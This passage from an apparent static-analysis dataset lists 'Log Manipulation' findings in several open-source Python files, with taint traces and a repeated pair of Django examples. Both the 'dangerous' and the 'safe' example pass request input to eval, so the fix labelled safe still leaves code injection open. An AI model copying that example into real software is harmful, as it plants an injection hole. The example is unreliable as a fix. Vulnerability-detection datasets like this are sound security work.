error=str(error)), 500\n\n\nclass Errors:\n\n def __init__(self, app=None, debug=False):\n self.debug = debug\n if app is not None:\n self.init_app(app)\n\n def init_app(self, app):\n for code in default_exceptions:\n app.errorhandler(code)(partial(http_exception_handler, debug=self.debug))\n app.errorhandler(Exception)(partial(common_exception_handler, debug=self.debug))", "dangerousExampleEn": "1. from django.http import HttpResponse\n2. import logging\n3. \n4. def index(request):\n5. userId = request.GET['id']\n6. result = eval('100 + ' + userId)\n7. logger = logging.getLogger(__name__)\n8. logger.error(userId)\n9. return HttpResponse('result = ' + result)\nLine 8: An insecure request.GET['id'] is used in logger.error() function.", "safeExampleEn": "1. from django.http import HttpResponse\n2. import logging\n3. \n4. def index(request):\n5. userId = request.GET['id']\n6. result = eval('100 + ' + userId)\n7. logger = logging.getLogger(__name__)\n8. if not '\\n' in userId:\n9. logger.error(userId)\n10. return HttpResponse('result = ' + result)\nLine 8: Check string data, and then, print out secure one only.", "contexts": [{"lineNo": 11, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 11, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "merge_fields"}}, {"lineNo": 11, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "json.dumps"}}, {"lineNo": 11, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 12, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "12"}}, {"lineNo": 13, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "error"}}]}} {"id": "4d517b6d8b19e772d8069a74734481a356fed0f8a9f3c8126fa467918b8aba85", "license": {"spdx": ["MIT"], "repo": "brownhead/galah", "path": "galah/sheep/components/consumer.py", "repo_head_hexsha": "f4475c49c920fcebbcb96636385f23863dc1e4c2", "stack_hexsha": "83db1249de7ca47f36aca776ea1eb0e04a77cd75", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Log Manipulation", "issueDescriptionEn": "The Log Manipulation checker finds instances of printing out unvalidated user inputs in a log.\nIf unvalidated user inputs are printed out in a log, an attacker can insert arbitrary content in the log to confuse security personnel who consult the log. If a manipulated log successfully leads to making an inappropriate decision, the attacker can exploit the consequences.\nHave external inputs validated before they are logged. It is particularly recommended to delete newline characters.", "issueLineNumber": 19, "entireCode": "import zmq\nimport galah.sheep.utility.universal as universal\nimport galah.sheep.utility.exithelpers as exithelpers\nfrom galah.sheep.utility.suitehelpers import get_virtual_suite\nfrom galah.base.flockmail import FlockMessage\nimport time\nimport threading\nimport logging\nimport random\nimport datetime\n\n# Load Galah's configuration.\nfrom galah.base.config import load_config\nconfig = load_config(\"sheep\")\n\n@universal.handleExiting\ndef run():\n try:\n _run()\n except universal.ShepherdLost as e:\n if e.result:\n universal.orphaned_results.put(e.result)\n\n raise\n\ndef _run():\n logger = logging.getLogger(\"galah.sheep.%s\" % threading.currentThread().name)\n logger.info(\"Consumer starting.\")\n\n # Initialize the correct consumer suite.\n virtual_suite = get_virtual_suite(config[\"VIRTUAL_SUITE\"])\n consumer = virtual_suite.Consumer(logger)\n\n # Set up the socket to send/receive messages to/from the shepherd\n shepherd = universal.context.socket(zmq.DEALER)\n shepherd.linger = 0\n shepherd.connect(config[\"shepherd/SHEEP_SOCKET\"])\n\n # Loop until the program is shutting down\n while not universal.exiting:\n # Prepare a VM and make sure we're completely prepared to handle a test\n # request before asking the shepherd for one.\n logger.info(\"Waiting for virtual machine to become available...\")\n machine_id = consumer.prepare_machine()\n\n def bleet():\n shepherd.send_json(FlockMessage(\"bleet\", \"\").to_dict())\n\n # Figure out when we should send the next bleet\n return (\n datetime.datetime.now() + config[\"shepherd/BLEET_TIMEOUT\"] / 2\n )\n\n # Send the intitial bleet so that the shepherd knows we're available\n logger.info(\"Ready for test request. Sending initial bleet.\")\n next_bleet_time = bleet()\n\n # Set to True whenever the shepherd bloots. Set to False everytime we\n # bleet. If this variable is still False by the time it's time to bleet\n # again we know we've lost the shepherd.\n shepherd_blooted = False\n\n # Process traffic from shepherd.\n while True:\n try:\n message = exithelpers.recv_json(\n shepherd,\n timeout = max(\n 1, # 1 millisecond (0 would imply infinite timeout)\n (next_bleet_time - datetime.datetime.now()).seconds\n * 1000\n )\n )\n\n message = FlockMessage(message[\"type\"], message[\"body\"])\n except exithelpers.Timeout:\n if not shepherd_blooted:\n raise universal.ShepherdLost()\n\n logger.debug(\"Sending bleet.\")\n next_bleet_time = bleet()\n shepherd_blooted = False\n\n continue\n\n if message.type == \"bloot\":\n logger.debug(\"Got bloot.\")\n shepherd_blooted = True\n\n elif message.type == \"identify\":\n logger.info(\n \"Received request to identify. Sending environment.\"\n )\n\n # identify is a valid response to a bleet.\n shepherd_blooted = True\n\n identification = FlockMessage(\n type = \"environment\",\n body = universal.environment\n )\n\n shepherd.send_json(identification.to_dict())\n\n elif message.type == \"request\":\n # Received test request from the shepherd\n logger.info(\"Test request received, running tests.\")\n logger.debug(\"Test request: %s\", str(message))\n result = consumer.run_test(machine_id, message.body)\n\n # Check to see if the test harness crashed/somehow testing was\n # unable to be done.\n if result is None:\n result = {\n \"failed\": True\n }\n\n # Add in the submission id to the result that we send back\n result[\"id\"] = str(message.body[\"submission\"][\"id\"])\n\n logger.info(\"Testing completed, sending results to shepherd.\")\n logger.debug(\"Raw test results: %s\", str(result))\n shepherd.send_json(FlockMessage(\"result\", result).to_dict())\n\n # Wait for the shepherd to acknowledge the result. Ignore any\n # messages that we get from the shepherd besides an acknowledge.\n deadline = \\\n datetime.datetime.now() + datetime.timedelta(seconds = 30)\n while True:\n try:\n confirmation = exithelpers.recv_json(\n shepherd,\n timeout = max(\n 1, # 1 millisecond (0 would imply infinite timeout)\n (deadline - datetime.datetime.now()).seconds\n * 1000\n )\n )\n\n confirmation = FlockMessage(\n confirmation[\"type\"], confirmation[\"body\"]\n )\n except exithelpers.Timeout:\n raise universal.ShepherdLost(result = result)\n\n logger.debug(\"Received message: %s\", str(confirmation))\n\n if confirmation.type == \"bloot\" and \\\n confirmation.body == result[\"id\"]:\n shepherd_blooted = True\n break\n\n break", "dangerousExampleEn": "1. from django.http import HttpResponse\n2. import logging\n3. \n4. def index(request):\n5. userId = request.GET['id']\n6. result = eval('100 + ' + userId)\n7. logger = logging.getLogger(__name__)\n8. logger.error(userId)\n9. return HttpResponse('result = ' + result)\nLine 8: An insecure request.GET['id'] is used in logger.error() function.", "safeExampleEn": "1. from django.http import HttpResponse\n2. import logging\n3. \n4. def index(request):\n5. userId = request.GET['id']\n6. result = eval('100 + ' + userId)\n7. logger = logging.getLogger(__name__)\n8. if not '\\n' in userId:\n9. logger.error(userId)\n10. return HttpResponse('result = ' + result)\nLine 8: Check string data, and then, print out secure one only.", "contexts": [{"lineNo": 19, "eventType": "source", "messageKey": "synz.COMMON.called", "params": {"arg0": "_run"}}, {"lineNo": 19, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "debug"}}]}} {"id": "8e1e9559100df97b9b5ac85500a3ca72dcece08c2a0c09a3542b33e756911d32", "license": {"spdx": ["Apache-2.0"], "repo": "zanachka/scrapydd", "path": "scrapydd/grpcservice/server.py", "repo_head_hexsha": "ba7854a69e756e5d0e6b5f835d8f36fe57f7f7c2", "stack_hexsha": "65d157b0fae7354c0e5f7bc818e2b834e4675cd1", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Log Manipulation", "issueDescriptionEn": "The Log Manipulation checker finds instances of printing out unvalidated user inputs in a log.\nIf unvalidated user inputs are printed out in a log, an attacker can insert arbitrary content in the log to confuse security personnel who consult the log. If a manipulated log successfully leads to making an inappropriate decision, the attacker can exploit the consequences.\nHave external inputs validated before they are logged. It is particularly recommended to delete newline characters.", "issueLineNumber": 94, "entireCode": "import asyncio\nimport datetime\nfrom io import BytesIO\nimport logging\nimport os\nimport re\nimport sys\n\nimport grpc\n\nfrom . import service_pb2\nfrom . import service_pb2_grpc\nfrom .grpc_asyncio import AsyncioExecutor\nfrom ..nodes import NodeManager, NodeExpired, AnonymousNodeDisabled\nfrom .. import nodes\nfrom ..schedule import SchedulerManager\nfrom ..models import session_scope, SpiderSettings, SpiderExecutionQueue, \\\n Session\nfrom ..models import NodeKey, NodeSession\nfrom ..project import ProjectManager\nfrom ..workspace import DictSpiderSettings\n\nlogger = logging.getLogger(__name__)\n\n\nclass SignatureValidationInterceptor(grpc.ServerInterceptor):\n def __init__(self):\n def abort(ignored_request, context):\n context.abort(grpc.StatusCode.UNAUTHENTICATED, 'Invalid signature')\n\n self._abortion = grpc.unary_unary_rpc_method_handler(abort)\n\n def intercept_service(self, continuation, handler_call_details):\n ticket = None\n for k, v in handler_call_details.invocation_metadata:\n if k == 'x-node-id':\n ticket = v\n break\n if ticket:\n handler_call_details.invocation_metadata.node_id = ticket\n return continuation(handler_call_details)\n else:\n return self._abortion\n\n\nclass NodeServicer(service_pb2_grpc.NodeServiceServicer):\n def __init__(self, node_manager: NodeManager,\n scheduler_manager: SchedulerManager,\n project_manager: ProjectManager):\n self._node_manager = node_manager\n self._scheduler_manager = scheduler_manager\n self._project_manager = project_manager\n\n def get_node_id(self, context):\n for key, value in context.invocation_metadata():\n if key == 'x-node-id':\n return int(value)\n\n async def HeartbeatNodeSession(self,\n request: service_pb2.HeartbeatNodeSessionRequest,\n context):\n \"\"\"\n\n :param request:\n :param context:\n :return:\n\n\n possible exceptions:\n NodeSession not found (404 NOT_FOUND):\n The specified NodeSession according to the session_id\n parameter is not found.\n\n Node not found (404 NOT_FOUND):\n A Node corresponding to the NodeSession is None, this may\n be caused by manually deleted by the admin user.\n\n Token invalid (401 UNAUTHENTICATED):\n The token provided in Headers is invalid or is not\n correctly match the session or node.\n\n \"\"\"\n with session_scope() as session:\n resource_name = request.name\n node_session_id = int(re.search(r'^nodeSessions/(\\d+)$',\n resource_name).group(1))\n response = service_pb2.HeartbeatNodeSessionResponse()\n node_session = session.query(NodeSession).get(node_session_id)\n if node_session is None:\n context.set_code(grpc.StatusCode.UNAUTHENTICATED)\n context.set_details('Session not found.')\n return response\n node_id = node_session.node_id\n logger.debug('heartbeat, node: %s, session: %s', node_id,\n node_session.id)\n has_task = self._scheduler_manager.has_task(node_id)\n try:\n self._node_manager.node_session_heartbeat(session,\n node_session.id)\n running_job_ids = request.running_job_ids\n killing_jobs = list(\n self._scheduler_manager.jobs_running(node_id,\n running_job_ids))\n\n response.new_job_available = has_task\n for killing_job in killing_jobs:\n response.kill_job_ids.append(killing_job)\n except NodeExpired:\n context.set_code(grpc.StatusCode.UNAUTHENTICATED)\n context.set_details('Node expired.')\n return response\n return response\n\n async def ObtainNodeSessionJob(self, request, context):\n resource_name = request.name\n m = re.search(r'nodeSessions/(\\d+)/jobs', resource_name)\n session_id = int(m.group(1))\n response = service_pb2.NodeSessionJob()\n node_manager = self._node_manager\n with session_scope() as session:\n node_session = node_manager.get_node_session(session, session_id)\n next_task = self._scheduler_manager.get_next_task(\n node_session.node_id)\n\n if not next_task:\n context.set_code(grpc.StatusCode.NOT_FOUND)\n context.set_details('No job available.')\n return response\n\n figure = self._project_manager.get_job_figure(session, next_task)\n name = 'nodeSessions/%s/jobs/%s' % (node_session.id,\n next_task.id)\n response.name = name\n response.id = next_task.id\n response.figure = figure.to_json()\n return response\n\n async def CompleteNodeSessionJob(self, request, context):\n resource_name = request.name\n m = re.search(r'nodeSessions/(\\d+)/jobs/(\\w+)', resource_name)\n node_session_id = int(m.group(1))\n task_id = m.group(2)\n status = request.status\n\n response = service_pb2.CompleteNodeSessionJobResponse()\n if status == 'success':\n status_int = 2\n elif status == 'fail':\n status_int = 3\n else:\n logger.warning('invalid job status %s %s', node_id, status)\n return response\n\n with session_scope() as session:\n node_session = session.query(NodeSession).get(node_session_id)\n if not node_session:\n context.set_code(grpc.StatusCode.UNAUTHENTICATED)\n context.set_details('Node session does not exist.')\n return response\n\n query = session.query(SpiderExecutionQueue) \\\n .filter(SpiderExecutionQueue.id == task_id,\n SpiderExecutionQueue.status.in_([1, 5]))\n\n job = query.first()\n\n if job is None:\n context.set_code(grpc.StatusCode.NOT_FOUND)\n context.set_details('job not found.')\n return response\n\n log_stream = None\n if request.logs:\n logger.debug('logs file length %s', len(request.logs))\n log_stream = BytesIO(request.logs)\n\n items_stream = None\n if request.items:\n logger.debug('items file length %s', len(request.items))\n items_stream = BytesIO(request.items)\n\n job.status = status_int\n job.update_time = datetime.datetime.now()\n historical_job = self._scheduler_manager.job_finished(job,\n log_stream,\n items_stream)\n session.close()\n logger.info('Job %s completed.', task_id)\n return response\n\n async def CreateNode(self, request, context):\n session = Session()\n node_manager = self._node_manager\n response = service_pb2.Node()\n node_key = request.node_key\n key = session.query(NodeKey).filter_by(key=node_key).first()\n if not key:\n context.set_code(grpc.StatusCode.INVALID_ARGUMENT)\n context.set_details('Invalid Token')\n return response\n\n if key.used_node_id:\n context.set_code(grpc.StatusCode.INVALID_ARGUMENT)\n context.set_details('Invalid Token')\n return response\n\n tags = request.node.tags\n # tags = ','.join(tags) if tags else None\n\n remote_ip = context.peer()\n node = node_manager.create_node(remote_ip, tags=tags,\n key_id=key.id)\n key.used_node_id = node.id\n session.add(key)\n session.commit()\n response.name = 'nodes/%s' % node.id\n response.id = node.id\n response.display_name = node.name\n for tag in node.tags:\n response.tags.append(tag)\n response.is_online = node.isalive > 0\n response.client_ip = node.client_ip\n return response\n\n async def CreateNodeSession(self, request, context):\n response = service_pb2.NodeSession()\n with session_scope() as session:\n node_id = request.node_session.node_id\n remote_ip = context.peer()\n node_manager = self._node_manager\n try:\n node_session = node_manager.create_node_session(\n session,\n node=node_id,\n client_ip=remote_ip)\n except AnonymousNodeDisabled:\n context.set_code(grpc.StatusCode.UNAUTHENTICATED)\n context.set_details('Anonymous node is not allowed.')\n return response\n except nodes.NodeNotFoundException:\n context.set_code(grpc.StatusCode.UNAUTHENTICATED)\n context.set_details('Node not found.')\n return response\n except nodes.LivingNodeSessionExistException:\n context.set_code(grpc.StatusCode.ABORTED)\n context.set_details('There are some NodeSession living already'\n ' relates to the target Node.')\n return response\n\n response.name = 'nodeSessions/%s' % node_session.id\n response.id = node_session.id\n response.node_id = node_session.node.id\n logger.info('Node %s logged in, session_id: %s',\n node_session.node_id, node_session.id)\n return response\n\n async def GetNodeSessionJobEgg(self, request, context):\n resource_name = request.name\n m = re.search(r'nodeSessions/(\\d+)/jobs/(\\w+)/egg', resource_name)\n node_session_id = int(m.group(1))\n job_id = m.group(2)\n with session_scope() as session:\n node_session = session.query(NodeSession).get(node_session_id)\n job = session.query(SpiderExecutionQueue) \\\n .filter_by(id=job_id) \\\n .first()\n if not job:\n context.set_code(grpc.StatusCode.NOT_FOUND)\n context.set_details('Job not found.')\n return\n\n if job.node_id != node_session.node_id:\n context.set_code(grpc.StatusCode.NOT_FOUND)\n context.set_details('Job not found.')\n return\n\n f_egg = self._project_manager.get_job_egg(session, job)\n buffer_size = 8192\n read_buffer = f_egg.read(buffer_size)\n while read_buffer:\n yield service_pb2.DataChunk(data=read_buffer)\n read_buffer = f_egg.read(buffer_size)\n f_egg.close()\n\n\ndef start(node_manager=None, scheduler_manager=None, project_manager=None):\n if sys.platform == 'win32':\n asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy())\n port = '6801'\n grpc_port = 6802\n with open('keys/localhost.key', 'rb') as f:\n private_key = f.read()\n with open('keys/localhost.crt', 'rb') as f:\n certificate_chain = f.read()\n\n server_credentials = grpc.ssl_server_credentials(\n ((private_key, certificate_chain,),))\n\n options = [\n ('grpc.max_send_message_length', 50 * 1024 * 1024),\n ('grpc.max_receive_message_length', 50 * 1024 * 1024)\n ]\n server = grpc.server(AsyncioExecutor(loop=asyncio.new_event_loop()),\n options=options)\n # server = grpc.server(futures.ThreadPoolExecutor(max_workers=4))\n # server = grpc.server(AsyncioExecutor())\n node_service = NodeServicer(node_manager, scheduler_manager,\n project_manager)\n service_pb2_grpc.add_NodeServiceServicer_to_server(node_service, server)\n\n address = '[::]:' + port\n logger.info('starting grpc server on %s', address)\n server.add_secure_port(address, server_credentials)\n\n grpc_address = '[::]:%s' % grpc_port\n server.add_insecure_port(grpc_address)\n\n server.start()\n return server", "dangerousExampleEn": "1. from django.http import HttpResponse\n2. import logging\n3. \n4. def index(request):\n5. userId = request.GET['id']\n6. result = eval('100 + ' + userId)\n7. logger = logging.getLogger(__name__)\n8. logger.error(userId)\n9. return HttpResponse('result = ' + result)\nLine 8: An insecure request.GET['id'] is used in logger.error() function.", "safeExampleEn": "1. from django.http import HttpResponse\n2. import logging\n3. \n4. def index(request):\n5. userId = request.GET['id']\n6. result = eval('100 + ' + userId)\n7. logger = logging.getLogger(__name__)\n8. if not '\\n' in userId:\n9. logger.error(userId)\n10. return HttpResponse('result = ' + result)\nLine 8: Check string data, and then, print out secure one only.", "contexts": [{"lineNo": 84, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 84, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestrequest.name"}}, {"lineNo": 85, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "re.search"}}, {"lineNo": 85, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "group"}}, {"lineNo": 85, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "int"}}, {"lineNo": 88, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get"}}, {"lineNo": 88, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 93, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "node_sessionNodeServicer.HeartbeatNodeSession.node_session.node_id"}}, {"lineNo": 93, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 94, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "debug"}}]}} {"id": "f7ff3ff6488259e0ec0b1680f1408f41519e53c0d18fba83497dd8b270d516e8", "license": {"spdx": ["MIT"], "repo": "necaris/embedded-js-in-python-example", "path": "guestbook/views.py", "repo_head_hexsha": "25ddde56c52bd6aef39cadcc112349ec329b02c2", "stack_hexsha": "f6f9edda9d7c2b4a3ba42a270a1331dd6f8e0ba9", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Log Manipulation", "issueDescriptionEn": "The Log Manipulation checker finds instances of printing out unvalidated user inputs in a log.\nIf unvalidated user inputs are printed out in a log, an attacker can insert arbitrary content in the log to confuse security personnel who consult the log. If a manipulated log successfully leads to making an inappropriate decision, the attacker can exploit the consequences.\nHave external inputs validated before they are logged. It is particularly recommended to delete newline characters.", "issueLineNumber": 67, "entireCode": "import json\nimport datetime\nimport logging\n\nfrom pyramid.response import Response\nfrom pyramid.view import view_config\nfrom pyramid.renderers import render_to_response\n\nfrom sqlalchemy.exc import DBAPIError\n\nfrom .models import DBSession, Guest\nfrom .render_react import render as render_react\n\nlog = logging.getLogger(__name__)\n\n\n@view_config(route_name='index')\ndef index_view(request):\n \"\"\"\n Lists all the guests going -- when rendering HTML, also provides\n the main announcement and sign-up page.\n \"\"\"\n try:\n guests = DBSession.query(Guest).order_by(Guest.signed_up_at).all()\n except DBAPIError:\n return Response(conn_err, content_type='text/plain', status_int=500)\n\n data = {\n \"title\": \"game night\",\n \"subtitle\": \"friday, august 22nd\",\n \"announcement\": '''\n The inimitable Social Tables is\n organizing a #dctech\n game night at 1776! Whether you prefer a\n traditional LAN party or a (currently disturbingly topical) game of\n Pandemic, everyone is welcome!\n ''',\n \"guests\": guests\n }\n\n # Only go through the bother of rendering the Javascript and so on if\n # we're asking for HTML\n if request.accept.accept_html:\n content = render_react(\"static/jsx/app.jsx\", \"MainComponent\", data)\n response = render_to_response(\n \"templates/index.html\",\n {\"rendered_content\": content, \"initial_data\": data},\n request=request)\n log.debug(\"rendered: %r\", content)\n else:\n response = render_to_response(\"json\", data, request=request)\n\n return response\n\n\n@view_config(route_name=\"signup\", renderer=\"json\")\ndef signup_view(request):\n \"\"\"\n Accepts a POST of signup data, sets the appropriate values, and\n sends the updated list of guests as a response.\n \"\"\"\n if request.method != \"POST\":\n request.response.status = \"405 Method Not Allowed\"\n return {\"error\": \"Only POSTs are accepted here.\"}\n\n try:\n log.debug(\"Got POST: %r\", request.body)\n new_guest_data = request.json_body\n new_guest_data[\"signed_up_at\"] = datetime.datetime.now()\n if \"id\" in new_guest_data:\n del new_guest_data[\"id\"] # drop any client-side ID\n new_guest = Guest(**new_guest_data)\n except Exception as e:\n log.error(e)\n return Response(status_int=400)\n\n try:\n DBSession.add(new_guest)\n DBSession.flush()\n guests = DBSession.query(Guest).order_by(Guest.signed_up_at).all()\n except DBAPIError:\n return Response(conn_err, content_type='text/plain', status_int=500)\n\n request.response.status = \"201 Created\"\n return {\"guests\": guests}\n\n\n# Handy scaffold-generated connection error message\nconn_err = \"\"\"\\\nPyramid is having a problem using your SQL database. The problem\nmight be caused by one of the following things:\n\n1. You may need to run the \"initialize_guestbook_db\" script\n to initialize your database tables. Check your virtual\n environment's \"bin\" directory for this script and try to run it.\n\n2. Your database server may not be running. Check that the\n database server referred to by the \"sqlalchemy.url\" setting in\n your \"development.ini\" file is running.\n\nAfter you fix the problem, please restart the Pyramid application to\ntry it again.\n\"\"\"", "dangerousExampleEn": "1. from django.http import HttpResponse\n2. import logging\n3. \n4. def index(request):\n5. userId = request.GET['id']\n6. result = eval('100 + ' + userId)\n7. logger = logging.getLogger(__name__)\n8. logger.error(userId)\n9. return HttpResponse('result = ' + result)\nLine 8: An insecure request.GET['id'] is used in logger.error() function.", "safeExampleEn": "1. from django.http import HttpResponse\n2. import logging\n3. \n4. def index(request):\n5. userId = request.GET['id']\n6. result = eval('100 + ' + userId)\n7. logger = logging.getLogger(__name__)\n8. if not '\\n' in userId:\n9. logger.error(userId)\n10. return HttpResponse('result = ' + result)\nLine 8: Check string data, and then, print out secure one only.", "contexts": [{"lineNo": 67, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 67, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestrequest.body"}}, {"lineNo": 67, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "debug"}}]}} {"id": "9c156d11434549f361d6b03080b498749c0b130ccafd1c6e17bef32ee3fd8318", "license": {"spdx": ["AFL-3.0"], "repo": "juzen2003/pds-opus", "path": "opus/application/apps/cart/views.py", "repo_head_hexsha": "38587ef256199425c145394fc8e1f47594764628", "stack_hexsha": "9784a2e9f67753d80a70900ec0acbf4e1f37060d", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Log Manipulation", "issueDescriptionEn": "The Log Manipulation checker finds instances of printing out unvalidated user inputs in a log.\nIf unvalidated user inputs are printed out in a log, an attacker can insert arbitrary content in the log to confuse security personnel who consult the log. If a manipulated log successfully leads to making an inappropriate decision, the attacker can exploit the consequences.\nHave external inputs validated before they are logged. It is particularly recommended to delete newline characters.", "issueLineNumber": 119, "entireCode": "################################################################################\n#\n# cart/views.py\n#\n# The (private) API interface for adding and removing items from the cart\n# and creating download .zip and .csv files.\n#\n# Format: __cart/view.json\n# Format: __cart/status.json\n# Format: __cart/data.csv\n# Format: __cart/(?Padd|remove|addrange|removerange|addall).json\n# Format: __cart/reset.json\n# Format: __cart/download.json\n# Format: [__]api/download/(?P[-\\w]+).zip\n#\n################################################################################\n\nimport csv\nimport datetime\nimport logging\nimport os\nimport random\nimport string\nimport time\nimport zipfile\n\nimport settings\n\nfrom django.db import connection, DatabaseError\nfrom django.http import (HttpResponse,\n HttpResponseServerError,\n Http404)\nfrom django.shortcuts import render\nfrom django.template.loader import get_template\nfrom django.views.decorators.cache import never_cache\n\nfrom hurry.filesize import size as nice_file_size\n\nfrom cart.models import Cart\nfrom dictionary.models import Definitions\nfrom metadata.views import (get_cart_count,\n get_result_count_helper)\nfrom results.views import (get_search_results_chunk,\n get_search_results_chunk_error_handler,\n labels_for_slugs)\nfrom search.models import ObsGeneral\nfrom search.views import (url_to_search_params,\n get_user_query_table,\n parse_order_slug,\n create_order_by_sql)\nfrom tools.app_utils import (cols_to_slug_list,\n csv_response,\n enter_api_call,\n exit_api_call,\n get_reqno,\n get_session_id,\n json_response,\n throw_random_http404_error,\n throw_random_http500_error,\n HTTP404_BAD_OR_MISSING_RANGE,\n HTTP404_BAD_OR_MISSING_REQNO,\n HTTP404_BAD_RECYCLEBIN,\n HTTP404_MISSING_OPUS_ID,\n HTTP404_NO_REQUEST,\n HTTP404_SEARCH_PARAMS_INVALID,\n HTTP500_DATABASE_ERROR,\n HTTP500_INTERNAL_ERROR,\n HTTP500_SEARCH_CACHE_FAILED)\nfrom tools.file_utils import get_pds_products\n\nlog = logging.getLogger(__name__)\n\n\n################################################################################\n#\n# API INTERFACES\n#\n################################################################################\n\n\n@never_cache\ndef api_view_cart(request):\n \"\"\"Return the OPUS-specific left side of the \"Selections\" page as HTML.\n\n This includes the number of files selected, total size of files selected,\n and list of product types with their number. This returns information about\n ALL files and product types, ignoring any user choices. However, there is\n an optional types= parameter which, if specified, causes\n product types not listed to return \"0\" for number of products and sizes.\n\n This is a PRIVATE API.\n\n Format: __cart/view.json\n Arguments: reqno=\n Normal search arguments\n \"\"\"\n api_code = enter_api_call('api_view_cart', request)\n\n if not request or request.GET is None:\n ret = Http404(HTTP404_NO_REQUEST('/__cart/view.html'))\n exit_api_call(api_code, ret)\n raise ret\n\n session_id = get_session_id(request)\n\n reqno = get_reqno(request)\n if reqno is None:\n log.error('api_view_cart: Missing or badly formatted reqno')\n ret = Http404(HTTP404_BAD_OR_MISSING_REQNO(request))\n exit_api_call(api_code, ret)\n raise ret\n\n get_not_selected_product_types_str = request.GET.get('unselected_types', '')\n not_selected_product_types = get_not_selected_product_types_str.split(',')\n\n product_types_str = request.GET.get('types', 'all')\n product_types = product_types_str.split(',')\n\n info = _get_download_info(product_types, session_id)\n count, recycled_count = get_cart_count(session_id, recycled=True)\n\n for name, details in info['product_cat_list']:\n for type in details:\n if type['slug_name'] in not_selected_product_types:\n type['selected'] = ''\n else:\n type['selected'] = 'checked'\n\n info['count'] = count\n info['recycled_count'] = recycled_count\n\n cart_template = get_template('cart/cart.html')\n html = cart_template.render(info)\n ret = json_response({'html': html,\n 'count': info['count'],\n 'recycled_count': info['recycled_count'],\n 'reqno': reqno})\n\n exit_api_call(api_code, ret)\n return ret\n\n\n@never_cache\ndef api_cart_status(request):\n \"\"\"Return the number of items in a cart.\n\n It is used to update the \"Selections \" tab in the OPUS UI.\n\n This is a PRIVATE API.\n\n Format: __cart/status.json\n Arguments: reqno=\n [types=]\n [download=]\n\n Returns a JSON dict containing:\n In all cases:\n 'count': Total number of items in cart NOT in\n recycle bin\n 'recycled_count': Total number of items in cart IN\n recycle bin\n\n If download=1:\n 'total_download_count': Total number of unique files\n 'total_download_size': Total size of unique files (bytes)\n 'total_download_size_pretty': Total size of unique files (pretty format)\n 'product_cat_list': List of categories and info:\n [\n [,\n [{'slug_name': Like \"browse-thumb\"\n 'product_type': Like \"Browse Image (thumbnail)\"\n 'product_count': Number of opus_ids in this category\n 'download_count': Number of unique files in this category\n 'download_size': Size of unique files in this category\n (bytes)\n 'download_size_pretty': Size of unique files in this category\n (pretty format)\n }\n ], ...\n ], ...\n ]\n\n\n \"\"\"\n api_code = enter_api_call('api_cart_status', request)\n\n if not request or request.GET is None:\n ret = Http404(HTTP404_NO_REQUEST('/__cart/status.json'))\n exit_api_call(api_code, ret)\n raise ret\n\n session_id = get_session_id(request)\n\n reqno = get_reqno(request)\n if reqno is None or throw_random_http404_error():\n log.error('api_cart_status: Missing or badly formatted reqno')\n ret = Http404(HTTP404_BAD_OR_MISSING_REQNO(request))\n exit_api_call(api_code, ret)\n raise ret\n\n download = request.GET.get('download', 0)\n try:\n download = int(download)\n except:\n pass\n if (download != 0 and download != 1) or throw_random_http404_error():\n log.error('api_cart_status: Badly formatted download %s', download)\n ret = Http404(HTTP404_BAD_DOWNLOAD(download, request))\n exit_api_call(api_code, ret)\n raise ret\n\n if download:\n product_types_str = request.GET.get('types', 'all')\n product_types = product_types_str.split(',')\n info = _get_download_info(product_types, session_id)\n else:\n info = {}\n\n count, recycled_count = get_cart_count(session_id, recycled=True)\n\n info['count'] = count\n info['recycled_count'] = recycled_count\n info['reqno'] = reqno\n ret = json_response(info)\n exit_api_call(api_code, ret)\n return ret\n\n\n@never_cache\ndef api_get_cart_csv(request):\n \"\"\"Returns a CSV file of the current cart.\n\n The CSV file contains the columns specified in the request.\n\n This is a PRIVATE API.\n\n Format: __cart/data.csv\n Normal selected-column arguments\n \"\"\"\n api_code = enter_api_call('api_get_cart_csv', request)\n\n if not request or request.GET is None:\n ret = Http404(HTTP404_NO_REQUEST('/__cart/data.csv'))\n exit_api_call(api_code, ret)\n raise ret\n\n column_labels, page, error = _csv_helper(request, None, api_code)\n if error is not None:\n return get_search_results_chunk_error_handler(error, api_code)\n\n if column_labels is None or throw_random_http404_error():\n ret = Http404(HTTP404_UNKNOWN_SLUG(None, request))\n exit_api_call(api_code, ret)\n raise ret\n\n ret = csv_response('data', page, column_labels)\n\n exit_api_call(api_code, ret)\n return ret\n\n\n@never_cache\ndef api_edit_cart(request, action, **kwargs):\n \"\"\"Add or remove items from a cart.\n\n This is a PRIVATE API.\n\n Format: __cart/\n 